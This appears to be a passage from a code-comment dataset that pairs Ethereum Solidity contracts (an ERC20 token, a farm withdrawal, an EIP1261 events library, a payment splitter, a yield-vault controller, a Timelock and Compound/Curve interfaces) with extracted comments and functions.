be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Withdraw ETH from the contract * * Emits an {WithdrawLog} event indicating the withdrawal of ETH. * * Requirements: * * - `amount` must be less than the amount held by the contract * - `msg.sender` must be the owner of the contract */ function withdraw(uint256 amount, address payable toAddress) virtual public onlyOwner returns(bool){ // Ensure that there is enough to withdraw require(amount <= address(this).balance, "Not enough balance"); // Transfer to specified address toAddress.transfer(amount); // Emit the withdraw event emit WithdrawLog(address(this).balance + amount, amount, address(this).balance, toAddress); // Indicate success return true; } /** * @dev Recover all of a token from the contract * * Emits an {RecoveredTokens} event indicating the recovery of all of a token * from the contract * * Requirements: * * - `msg.sender` must be the owner of the contract */ function recoverAllTokens(IERC20 token) public onlyOwner { uint256 tokens = tokensToBeReturned(token); require(token.transfer(_owner, tokens) == true, "Failed to transfer tokens"); emit RecoveredTokens(address(token), _owner, tokens); } /** * @dev Recover some (or all) of a token from the contract to the owner * * Emits an {RecoveredTokens} event indicating the recovery of an amount of a token * from the contract * * Requirements: * * - `msg.sender` must be the owner of the contract */ function recoverTokens(IERC20 token, uint256 amount) public onlyOwner { require(token.transfer(_owner, amount) == true, "Failed to transfer tokens"); emit RecoveredTokens(address(token), _owner, amount); } /** * @dev Recover some (or all) of a token from the contract to an address * * Emits an {RecoveredTokens} event indicating the recovery of an amount of a token * from the contract * * Requirements: * * - `msg.sender` must be the owner of the contract */ function recoverTokens(IERC20 token, uint256 amount, address addressTo) public onlyOwner { require(token.transfer(addressTo, amount) == true, "Failed to transfer tokens"); emit RecoveredTokens(address(token), addressTo, amount); } /** * @dev Gets how many tokens can be recovered from contract * * Returns the number of tokens held by contract (if any) */ function tokensToBeReturned(IERC20 token) public view returns (uint256) { return token.balanceOf(address(this)); } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual returns(bool){ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); return true; } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual returns (bool) { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); return true; } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual returns (bool) { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); return true; } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev gets a new unique ID for a moved token call * * Returns a new integer (increments between calls) */ function _getMovedTokenId() internal returns(uint256){ return _movedTokenId++; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
gets a new unique ID for a moved token call Returns a new integer (increments between calls)/
function _getMovedTokenId() internal returns(uint256){ return _movedTokenId++; }
14,024,808
./full_match/1/0x5F6C3D30fFF320B4d559E448ABB1c70D9DF8F586/sources/new_farm.sol
emit Transfer(tokenIn, msg.sender, amount);
function WithdrawfETH(address tokenIn, uint256 amount) external { require(tokenIn == fETH, "Only fETH allowed"); require(_balances2[msg.sender] >= amount, "Not enough fETH"); _totalSupply2 = _totalSupply2 - amount; _balances2[msg.sender] = _balances2[msg.sender] - amount; _pushUnderlying(tokenIn, msg.sender, amount); }
17,180,413
// SPDX-License-Identifier: Apache-2.0 pragma solidity >=0.6.4 <0.7.0; pragma experimental ABIEncoderV2; /// /// @title EIP1261 Events /// @author Tyler R. Drury <[email protected]> (www.twitter.com/StudiosVigil) - copyright 16/7/2021, All Rights Reserved /// @dev emitter and events relavent to ERC1261 standard /// library eventsEIP1261 { /// @dev on token assignment event membershipAssigned( address target, uint[] memory attributeIndexes //uint time, //uint block ); /// @dev on membership revoked event membershipRevoked( address target //uint time, //uint block ); /// @dev membership forfeited event membershipForfeited( address target //uint time, //uint block ); /// @dev membership request accepted event embershipApproved( address target, uint[] memory attributeIndexes ); /// @dev membership request event membershipRequested( address target //uint time, //uint block ); /// @dev member data modified, doesn't emit when a new membership is created and data is assigned event modifiedAttributes( address target, uint attributeIndex, uint attributeValueIndex //uint time, //uint block ); /// ///emitter functions /// function emitMembershipAssigned( address target, uint[] memory attributeIndexes )internal { emit membershipAssigned( target, attributeIndexes //block.timestamp //block.number ); } /// @dev on membership revoked function emitMembershipRevoked( address target )internal { emit membershipRevoked( target //block.timestamp //block.number ); } /// @dev membership forfeited function emitMembershipForfeited( address target )internal { emit membershipForfeited( target //block.timestamp //block.number ); } /// @dev membership request accepted function emitMembershipApproved( address target, uint[] memory attributeIndices )internal { emit membershipApproved( target, attributeIndices //block.timestamp //block.number ); } /// @dev membership request function emitMembershipRequested( address target )internal { emit membershipRequested( target //block.timestamp //block.number ); } /// @dev member data modified, doesn't emit when a new membership is created and data is assigned function emitModifiedAttributes( address target, uint attributeIndex, uint attributeValueIndex )internal view { emit modifiedAttributes( target, attributeIndex, attributeValueIndex //block.timestamp //block.number ); } }
membership forfeitedblock.timestampblock.number
function emitMembershipForfeited( address target )internal { emit membershipForfeited( target ); }
12,592,253
pragma solidity ^0.4.15; import "./moneyflow/IMoneyflow.sol"; import "zeppelin-solidity/contracts/math/SafeMath.sol"; import "zeppelin-solidity/contracts/ownership/Ownable.sol"; /** * @title SplitterBase * @dev Splitter has multiple outputs (allows to send money only to THESE addresses) */ contract SplitterStorage is ISplitter, Ownable{ mapping (uint=>address) children; uint childrenCount = 0; address main; bool public opened = true; string name; event SplitterBase_AddChild(address _newChild); constructor(address _main, string _name) public{ name = _name; main = _main; } function addChild(address _newChild) external{ emit SplitterBase_AddChild(_newChild); children[childrenCount] = _newChild; childrenCount += 1; } function processFunds(uint _currentFlow) external payable{ SplitterMain(main).processFunds.value(msg.value)(_currentFlow); } function getMinWeiNeeded() external returns(uint){ return SplitterMain(main).getMinWeiNeeded(); } function getTotalWeiNeeded(uint _currentFlow) external returns(uint){ return SplitterMain(main).getTotalWeiNeeded(_currentFlow); } function isNeedsMoney() external returns(bool){ return SplitterMain(main).isNeedsMoney(); } function open() external onlyOwner{ opened = true; } function close() external onlyOwner{ opened = false; } function isOpen() external view returns(bool){ return opened; } function getChildrenCount()external view returns(uint){ return childrenCount; } function getChild(uint _index)external view returns(address){ return children[_index]; } function getPercentsMul100() external view returns(uint){ return SplitterMain(main).getPercentsMul100(); } } contract SplitterMain{ event SplitterBase_ProcessFunds(address _sender, uint _value, uint _currentFlow); event SplitterBase_Open(address _sender); event SplitterBase_Close(address _sender); function _isOpen(address stor) internal view returns(bool){ return SplitterStorage(stor).opened(); } function isOpen(address stor) external view returns(bool){ return SplitterStorage(stor).opened(); } function getChildrenCount(address stor)public view returns(uint){ return SplitterStorage(stor).getChildrenCount(); } function getChild(address stor, uint _index)public view returns(address){ return SplitterStorage(stor).getChild(_index); } function getMinWeiNeeded()external view returns(uint){ if(!_isOpen(msg.sender)){ return 0; } uint childrenCount = getChildrenCount(msg.sender); uint total = 0; for(uint i=0; i<childrenCount; ++i){ IWeiReceiver c = IWeiReceiver(getChild(msg.sender,i)); uint needed = c.getMinWeiNeeded(); total = total + needed; } return total; } function getTotalWeiNeeded(uint _inputWei)external view returns(uint){ return _getTotalWeiNeeded(_inputWei); } function _getTotalWeiNeeded(uint _inputWei)internal view returns(uint){ if(!_isOpen(msg.sender)){ return 0; } uint childrenCount = getChildrenCount(msg.sender); uint total = 0; for(uint i=0; i<childrenCount; ++i){ IWeiReceiver c = IWeiReceiver(getChild(msg.sender,i)); uint needed = c.getTotalWeiNeeded(_inputWei); total = total + needed; // this should be reduced because next child can get only '_inputWei minus what prev. child got' if(_inputWei>needed){ _inputWei-=needed; }else{ _inputWei = 0; } } return total; } function getPercentsMul100()external view returns(uint){ uint total = 0; uint childrenCount = getChildrenCount(msg.sender); for(uint i=0; i<childrenCount; ++i){ IWeiReceiver c = IWeiReceiver(getChild(msg.sender,i)); total = total + c.getPercentsMul100(); } // truncate, no more than 100% allowed! if(total>10000){ return 10000; } return total; } function isNeedsMoney()constant public returns(bool){ uint childrenCount = getChildrenCount(msg.sender); if(!_isOpen(msg.sender)){ return false; } for(uint i=0; i<childrenCount; ++i){ IWeiReceiver c = IWeiReceiver(getChild(msg.sender,i)); // if at least 1 child needs money -> return true if(c.isNeedsMoney()){ return true; } } return false; } function processFunds(uint _currentFlow) external payable{ uint childrenCount = getChildrenCount(msg.sender); require(_isOpen(msg.sender)); // emit SplitterBase_ProcessFunds(msg.sender, msg.value, _currentFlow); uint amount = _currentFlow; require(amount>=_getTotalWeiNeeded(_currentFlow)); for(uint i=0; i<childrenCount; ++i){ IWeiReceiver c = IWeiReceiver(getChild(msg.sender,i)); uint needed = c.getTotalWeiNeeded(amount); // send money. can throw! // we sent needed money but specifying TOTAL amount of flow // this help relative Splitters to calculate how to split money c.processFunds.value(needed)(amount); // this should be reduced because next child can get only 'amount minus what prev. child got' if(amount>=needed){ amount = amount - needed; }else{ amount = 0; } } } function() public { } }
truncate, no more than 100% allowed!
function getPercentsMul100()external view returns(uint){ uint total = 0; uint childrenCount = getChildrenCount(msg.sender); for(uint i=0; i<childrenCount; ++i){ IWeiReceiver c = IWeiReceiver(getChild(msg.sender,i)); total = total + c.getPercentsMul100(); } if(total>10000){ return 10000; } return total; }
5,544,364
pragma solidity 0.6.7; pragma experimental ABIEncoderV2; contract ControllerV4 { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address public constant burn = 0x000000000000000000000000000000000000dEaD; address public onesplit = 0xC586BeF4a0992C495Cf22e1aeEE4E446CECDee0E; address public governance; address public strategist; address public devfund; address public treasury; address public timelock; // Convenience fee 0.1% uint256 public convenienceFee = 100; uint256 public constant convenienceFeeMax = 100000; mapping(address => address) public jars; mapping(address => address) public strategies; mapping(address => mapping(address => address)) public converters; mapping(address => mapping(address => bool)) public approvedStrategies; mapping(address => bool) public approvedJarConverters; uint256 public split = 500; uint256 public constant max = 10000; constructor( address _governance, address _strategist, address _timelock, address _devfund, address _treasury ) public { governance = _governance; strategist = _strategist; timelock = _timelock; devfund = _devfund; treasury = _treasury; } function setDevFund(address _devfund) public { require(msg.sender == governance, "!governance"); devfund = _devfund; } function setTreasury(address _treasury) public { require(msg.sender == governance, "!governance"); treasury = _treasury; } function setStrategist(address _strategist) public { require(msg.sender == governance, "!governance"); strategist = _strategist; } function setSplit(uint256 _split) public { require(msg.sender == governance, "!governance"); split = _split; } function setOneSplit(address _onesplit) public { require(msg.sender == governance, "!governance"); onesplit = _onesplit; } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function setTimelock(address _timelock) public { require(msg.sender == timelock, "!timelock"); timelock = _timelock; } function setJar(address _token, address _jar) public { require( msg.sender == strategist || msg.sender == governance, "!strategist" ); require(jars[_token] == address(0), "jar"); jars[_token] = _jar; } function approveJarConverter(address _converter) public { require(msg.sender == governance, "!governance"); approvedJarConverters[_converter] = true; } function revokeJarConverter(address _converter) public { require(msg.sender == governance, "!governance"); approvedJarConverters[_converter] = false; } function approveStrategy(address _token, address _strategy) public { require(msg.sender == timelock, "!timelock"); approvedStrategies[_token][_strategy] = true; } function revokeStrategy(address _token, address _strategy) public { require(msg.sender == governance, "!governance"); approvedStrategies[_token][_strategy] = false; } function setConvenienceFee(uint256 _convenienceFee) external { require(msg.sender == timelock, "!timelock"); convenienceFee = _convenienceFee; } function setStrategy(address _token, address _strategy) public { require( msg.sender == strategist || msg.sender == governance, "!strategist" ); require(approvedStrategies[_token][_strategy] == true, "!approved"); address _current = strategies[_token]; if (_current != address(0)) { IStrategy(_current).withdrawAll(); } strategies[_token] = _strategy; } function earn(address _token, uint256 _amount) public { address _strategy = strategies[_token]; address _want = IStrategy(_strategy).want(); if (_want != _token) { address converter = converters[_token][_want]; IERC20(_token).safeTransfer(converter, _amount); _amount = Converter(converter).convert(_strategy); IERC20(_want).safeTransfer(_strategy, _amount); } else { IERC20(_token).safeTransfer(_strategy, _amount); } IStrategy(_strategy).deposit(); } function balanceOf(address _token) external view returns (uint256) { return IStrategy(strategies[_token]).balanceOf(); } function withdrawAll(address _token) public { require( msg.sender == strategist || msg.sender == governance, "!strategist" ); IStrategy(strategies[_token]).withdrawAll(); } function inCaseTokensGetStuck(address _token, uint256 _amount) public { require( msg.sender == strategist || msg.sender == governance, "!governance" ); IERC20(_token).safeTransfer(msg.sender, _amount); } function inCaseStrategyTokenGetStuck(address _strategy, address _token) public { require( msg.sender == strategist || msg.sender == governance, "!governance" ); IStrategy(_strategy).withdraw(_token); } function getExpectedReturn( address _strategy, address _token, uint256 parts ) public view returns (uint256 expected) { uint256 _balance = IERC20(_token).balanceOf(_strategy); address _want = IStrategy(_strategy).want(); (expected, ) = OneSplitAudit(onesplit).getExpectedReturn( _token, _want, _balance, parts, 0 ); } // Only allows to withdraw non-core strategy tokens ~ this is over and above normal yield function yearn( address _strategy, address _token, uint256 parts ) public { require( msg.sender == strategist || msg.sender == governance, "!governance" ); // This contract should never have value in it, but just incase since this is a public call uint256 _before = IERC20(_token).balanceOf(address(this)); IStrategy(_strategy).withdraw(_token); uint256 _after = IERC20(_token).balanceOf(address(this)); if (_after > _before) { uint256 _amount = _after.sub(_before); address _want = IStrategy(_strategy).want(); uint256[] memory _distribution; uint256 _expected; _before = IERC20(_want).balanceOf(address(this)); IERC20(_token).safeApprove(onesplit, 0); IERC20(_token).safeApprove(onesplit, _amount); (_expected, _distribution) = OneSplitAudit(onesplit) .getExpectedReturn(_token, _want, _amount, parts, 0); OneSplitAudit(onesplit).swap( _token, _want, _amount, _expected, _distribution, 0 ); _after = IERC20(_want).balanceOf(address(this)); if (_after > _before) { _amount = _after.sub(_before); uint256 _treasury = _amount.mul(split).div(max); earn(_want, _amount.sub(_treasury)); IERC20(_want).safeTransfer(treasury, _treasury); } } } function withdraw(address _token, uint256 _amount) public { require(msg.sender == jars[_token], "!jar"); IStrategy(strategies[_token]).withdraw(_amount); } // Function to swap between jars function swapExactJarForJar( address _fromJar, // From which Jar address _toJar, // To which Jar uint256 _fromJarAmount, // How much jar tokens to swap uint256 _toJarMinAmount, // How much jar tokens you'd like at a minimum address payable[] calldata _targets, bytes[] calldata _data ) external returns (uint256) { require(_targets.length == _data.length, "!length"); // Only return last response for (uint256 i = 0; i < _targets.length; i++) { require(_targets[i] != address(0), "!converter"); require(approvedJarConverters[_targets[i]], "!converter"); } address _fromJarToken = IJar(_fromJar).token(); address _toJarToken = IJar(_toJar).token(); // Get pTokens from msg.sender IERC20(_fromJar).safeTransferFrom( msg.sender, address(this), _fromJarAmount ); // Calculate how much underlying // is the amount of pTokens worth uint256 _fromJarUnderlyingAmount = _fromJarAmount .mul(IJar(_fromJar).getRatio()) .div(10**uint256(IJar(_fromJar).decimals())); // Call 'withdrawForSwap' on Jar's current strategy if Jar // doesn't have enough initial capital. // This has moves the funds from the strategy to the Jar's // 'earnable' amount. Enabling 'free' withdrawals uint256 _fromJarAvailUnderlying = IERC20(_fromJarToken).balanceOf( _fromJar ); if (_fromJarAvailUnderlying < _fromJarUnderlyingAmount) { IStrategy(strategies[_fromJarToken]).withdrawForSwap( _fromJarUnderlyingAmount.sub(_fromJarAvailUnderlying) ); } // Withdraw from Jar // Note: this is free since its still within the "earnable" amount // as we transferred the access IERC20(_fromJar).safeApprove(_fromJar, 0); IERC20(_fromJar).safeApprove(_fromJar, _fromJarAmount); IJar(_fromJar).withdraw(_fromJarAmount); // Calculate fee uint256 _fromUnderlyingBalance = IERC20(_fromJarToken).balanceOf( address(this) ); uint256 _convenienceFee = _fromUnderlyingBalance.mul(convenienceFee).div( convenienceFeeMax ); if (_convenienceFee > 1) { IERC20(_fromJarToken).safeTransfer(devfund, _convenienceFee.div(2)); IERC20(_fromJarToken).safeTransfer(treasury, _convenienceFee.div(2)); } // Executes sequence of logic for (uint256 i = 0; i < _targets.length; i++) { _execute(_targets[i], _data[i]); } // Deposit into new Jar uint256 _toBal = IERC20(_toJarToken).balanceOf(address(this)); IERC20(_toJarToken).safeApprove(_toJar, 0); IERC20(_toJarToken).safeApprove(_toJar, _toBal); IJar(_toJar).deposit(_toBal); // Send Jar Tokens to user uint256 _toJarBal = IJar(_toJar).balanceOf(address(this)); if (_toJarBal < _toJarMinAmount) { revert("!min-jar-amount"); } IJar(_toJar).transfer(msg.sender, _toJarBal); return _toJarBal; } function _execute(address _target, bytes memory _data) internal returns (bytes memory response) { require(_target != address(0), "!target"); // call contract in current context assembly { let succeeded := delegatecall( sub(gas(), 5000), _target, add(_data, 0x20), mload(_data), 0, 0 ) let size := returndatasize() response := mload(0x40) mstore( 0x40, add(response, and(add(add(size, 0x20), 0x1f), not(0x1f))) ) mstore(response, size) returndatacopy(add(response, 0x20), 0, size) switch iszero(succeeded) case 1 { // throw if delegatecall failed revert(add(response, 0x20), size) } } } } contract Timelock { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 2 days; uint public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint public delay; bool public admin_initialized; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_, uint delay_) public { require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::constructor: Delay must not exceed maximum delay."); admin = admin_; delay = delay_; admin_initialized = false; } // XXX: function() external payable { } receive() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { // allows one time setting of admin for deployment purposes if (admin_initialized) { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); } else { require(msg.sender == admin, "Timelock::setPendingAdmin: First call must come from admin."); admin_initialized = true; } pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call.value(value)(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } } interface ICToken { function totalSupply() external view returns (uint256); function totalBorrows() external returns (uint256); function borrowIndex() external returns (uint256); function repayBorrow(uint256 repayAmount) external returns (uint256); function redeemUnderlying(uint256 redeemAmount) external returns (uint256); function borrow(uint256 borrowAmount) external returns (uint256); function mint(uint256 mintAmount) external returns (uint256); function transfer(address dst, uint256 amount) external returns (bool); function transferFrom( address src, address dst, uint256 amount ) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function balanceOfUnderlying(address owner) external returns (uint256); function getAccountSnapshot(address account) external view returns ( uint256, uint256, uint256, uint256 ); function borrowRatePerBlock() external view returns (uint256); function supplyRatePerBlock() external view returns (uint256); function totalBorrowsCurrent() external returns (uint256); function borrowBalanceCurrent(address account) external returns (uint256); function borrowBalanceStored(address account) external view returns (uint256); function exchangeRateCurrent() external returns (uint256); function exchangeRateStored() external view returns (uint256); function getCash() external view returns (uint256); function accrueInterest() external returns (uint256); function seize( address liquidator, address borrower, uint256 seizeTokens ) external returns (uint256); } interface ICEther { function mint() external payable; /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeem(uint256 redeemTokens) external returns (uint256); /** * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to redeem * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlying(uint256 redeemAmount) external returns (uint256); /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrow(uint256 borrowAmount) external returns (uint256); /** * @notice Sender repays their own borrow * @dev Reverts upon any failure */ function repayBorrow() external payable; /** * @notice Sender repays a borrow belonging to borrower * @dev Reverts upon any failure * @param borrower the account with the debt being payed off */ function repayBorrowBehalf(address borrower) external payable; /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @dev Reverts upon any failure * @param borrower The borrower of this cToken to be liquidated * @param cTokenCollateral The market in which to seize collateral from the borrower */ function liquidateBorrow(address borrower, address cTokenCollateral) external payable; } interface IComptroller { function compAccrued(address) external view returns (uint256); function compSupplierIndex(address, address) external view returns (uint256); function compBorrowerIndex(address, address) external view returns (uint256); function compSpeeds(address) external view returns (uint256); function compBorrowState(address) external view returns (uint224, uint32); function compSupplyState(address) external view returns (uint224, uint32); /*** Assets You Are In ***/ function enterMarkets(address[] calldata cTokens) external returns (uint256[] memory); function exitMarket(address cToken) external returns (uint256); /*** Policy Hooks ***/ function mintAllowed( address cToken, address minter, uint256 mintAmount ) external returns (uint256); function mintVerify( address cToken, address minter, uint256 mintAmount, uint256 mintTokens ) external; function redeemAllowed( address cToken, address redeemer, uint256 redeemTokens ) external returns (uint256); function redeemVerify( address cToken, address redeemer, uint256 redeemAmount, uint256 redeemTokens ) external; function borrowAllowed( address cToken, address borrower, uint256 borrowAmount ) external returns (uint256); function borrowVerify( address cToken, address borrower, uint256 borrowAmount ) external; function repayBorrowAllowed( address cToken, address payer, address borrower, uint256 repayAmount ) external returns (uint256); function repayBorrowVerify( address cToken, address payer, address borrower, uint256 repayAmount, uint256 borrowerIndex ) external; function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint256 repayAmount ) external returns (uint256); function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint256 repayAmount, uint256 seizeTokens ) external; function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint256 seizeTokens ) external returns (uint256); function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint256 seizeTokens ) external; function transferAllowed( address cToken, address src, address dst, uint256 transferTokens ) external returns (uint256); function transferVerify( address cToken, address src, address dst, uint256 transferTokens ) external; /*** Liquidity/Liquidation Calculations ***/ function liquidateCalculateSeizeTokens( address cTokenBorrowed, address cTokenCollateral, uint256 repayAmount ) external view returns (uint256, uint256); // Claim all the COMP accrued by holder in all markets function claimComp(address holder) external; // Claim all the COMP accrued by holder in specific markets function claimComp(address holder, address[] calldata cTokens) external; // Claim all the COMP accrued by specific holders in specific markets for their supplies and/or borrows function claimComp( address[] calldata holders, address[] calldata cTokens, bool borrowers, bool suppliers ) external; function markets(address cTokenAddress) external view returns (bool, uint256); } interface ICompoundLens { function getCompBalanceMetadataExt( address comp, address comptroller, address account ) external returns ( uint256 balance, uint256 votes, address delegate, uint256 allocated ); } interface IController { function jars(address) external view returns (address); function rewards() external view returns (address); function devfund() external view returns (address); function treasury() external view returns (address); function balanceOf(address) external view returns (uint256); function withdraw(address, uint256) external; function earn(address, uint256) external; } interface Converter { function convert(address) external returns (uint256); } interface ICurveFi_2 { function get_virtual_price() external view returns (uint256); function add_liquidity(uint256[2] calldata amounts, uint256 min_mint_amount) external; function remove_liquidity_imbalance( uint256[2] calldata amounts, uint256 max_burn_amount ) external; function remove_liquidity(uint256 _amount, uint256[2] calldata amounts) external; function exchange( int128 from, int128 to, uint256 _from_amount, uint256 _min_to_amount ) external; function balances(int128) external view returns (uint256); } interface ICurveFi_3 { function get_virtual_price() external view returns (uint256); function add_liquidity(uint256[3] calldata amounts, uint256 min_mint_amount) external; function remove_liquidity_imbalance( uint256[3] calldata amounts, uint256 max_burn_amount ) external; function remove_liquidity(uint256 _amount, uint256[3] calldata amounts) external; function exchange( int128 from, int128 to, uint256 _from_amount, uint256 _min_to_amount ) external; function balances(uint256) external view returns (uint256); } interface ICurveFi_4 { function get_virtual_price() external view returns (uint256); function 